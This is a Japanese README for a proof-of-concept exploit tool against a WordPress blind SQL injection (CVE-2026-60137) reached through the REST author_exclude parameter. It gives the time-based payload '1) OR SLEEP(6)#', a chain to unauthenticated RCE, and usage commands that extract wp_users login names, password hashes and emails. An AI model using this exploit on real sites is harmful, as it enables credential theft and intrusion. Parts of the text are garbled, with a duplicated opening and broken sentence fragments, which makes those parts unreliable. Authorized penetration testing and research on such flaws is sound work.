
CVE-2026-60137(WordPress コアの `WP_Query::author__not_in` におけるブラインド SQL インジェクション)向けの非破壊型の概念実証および検証ハーネス。REST API の `author_exclude` パラメータを介して到達可能です。
CVE-2026-60137 用の非破壊的な概念実証(PoC)兼検証ハーネスです。WordPress コア(WP_Query::author__not_in)のブラインド SQL インジェクションで、REST API の author_exclude パラメータ経由で到達可能です。
WP_Query::get_posts() は、author__not_in クエリ変数を文字列連結して以下の SQL を構築します:
... AND {wpdb->posts}.post_author NOT IN ( <value> )
この値は、配列として渡された場合にのみ(要素ごとに absint で)サニタイズされます。スカラー文字列が渡された場合(REST の author_exclude パラメータは内部的に author__not_in にマッピングされます)、is_array() によるサニタイズガードがスキップされ、生の文字列がそのまま 句の中に挿入されるため、SQL インジェクション()が発生します。
NOT IN (...)1) OR SLEEP(6)# の形式のペイロードは、次のようになります:
post_author NOT IN ( 1) OR SLEEP(6)# )
これは post_author NOT IN (1) OR SLEEP(6) として解析されます(末尾の ) は # コメントによって消費されます)。データベースへの書き込みを一切伴わない、クリーンな時間ベースのブラインドオラクルです。
| 影響を受けるバージョン | 6.8.0 – 6.8.5, 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| 修正済みバージョン | 6.8.6, 6.9.5, 7.0.2(2026-07-17) |
| CVSS 3.1 | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N → 5.9(単体シンク) |
| 連鎖時 | CVE-2026-63030(REST バッチルート混乱)と連鎖 → 6.9.0 – 7.0.1 で 9.8 の認証なし RCE |
/wp-json/batch/v1 のルート混乱により、認証なしでシンクに到達可能。author_exclude を拒否する(HTTP 400)ため、シンクに到達できるのは通常、プラグイン/テーマが信頼できない入力を転送する場合か、バッチルート経由の認証済みセッション(--cookie)を通じてのみです。cve_2026_60137_poc.py はデータベースに対して読み取り専用で動作します:
readme.html、/wp-json/ インデックス)して、バージョンが影響を受ける範囲内かどうかを確認します。SLEEP(0) パースコントロール、SLEEP(n) ペイロードを比較し、複数の配信ベクトル(直接の REST ルート、?rest_route=、バッチエンドポイント)にわたってテストし、ベクトルごとに判定を報告します。wp_users の行(user_login、user_pass、user_email)を抽出します。厳密に SELECT/SLEEP のみを使用し、データベースへの書き込みは一切行いません。# Fingerprint only, no payloads sent
python3 cve_2026_60137_poc.py --url https://target --safe
# Run the detection matrix
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3
# Authenticated session + extract wp_users row 1
python3 cve_2026_60137_poc.py --url https://target \
--cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1
# Route through Burp, skip TLS verification, save machine-readable evidence
python3 cve_2026_60137_poc.py --url https://target \
--proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json
| フラグ | デフォルト | 説明 |
|---|---|---|
--url | 必須 | ターゲットのベース URL |
--safe | オフ | フィンガープリントのみ。ペイロードを送信しない |
--sleep | 6 | 検出オラクルが使用する SLEEP() の秒数 |
--samples | 3 | 測定あたりのタイミングサンプル数(中央値を使用) |
--threshold | 0.7 | 正の差分と見なす --sleep の割合 |
--extract | オフ | ブラインドオラクルで wp_users の行を抽出 |
--user-id | 1 | 抽出する wp_users.ID |
--extract-sleep | 2.0 | 抽出プローブあたりの SLEEP() 秒数 |
--limit | 64 | 抽出する各フィールドの最大文字数 |
--only-vector | — | 名前にこの文字列を含むベクトルのみテスト |
--cookie | — | 認証が要求されるベクトル用の認証済みクッキー |
--proxy | — | HTTP(S) プロキシ(例:Burp の http://127.0.0.1:8080) |
--timeout | 30 | リクエストのタイムアウト(秒) |
--no-verify-tls | オフ | TLS 証明書の検証を無効化 |
--json-out | — | 機械可読な証跡を JSON ファイルに出力 |
このツールは、許可を得たセキュリティテスト専用に提供されています — ペネトレーションテスト、CTF、および所有している、または明示的な書面による許可を得て評価するシステムに対するリサーチを対象としています。許可なくシステムに対して実行することは違法です。作者は誤用に対して一切の責任を負いません。
--json-out で出力される内容には、テストした URL、バージョンのフィンガープリント、タイミングの証跡が含まれる可能性があります — 機密性の高いエンゲージメントデータとして扱ってください。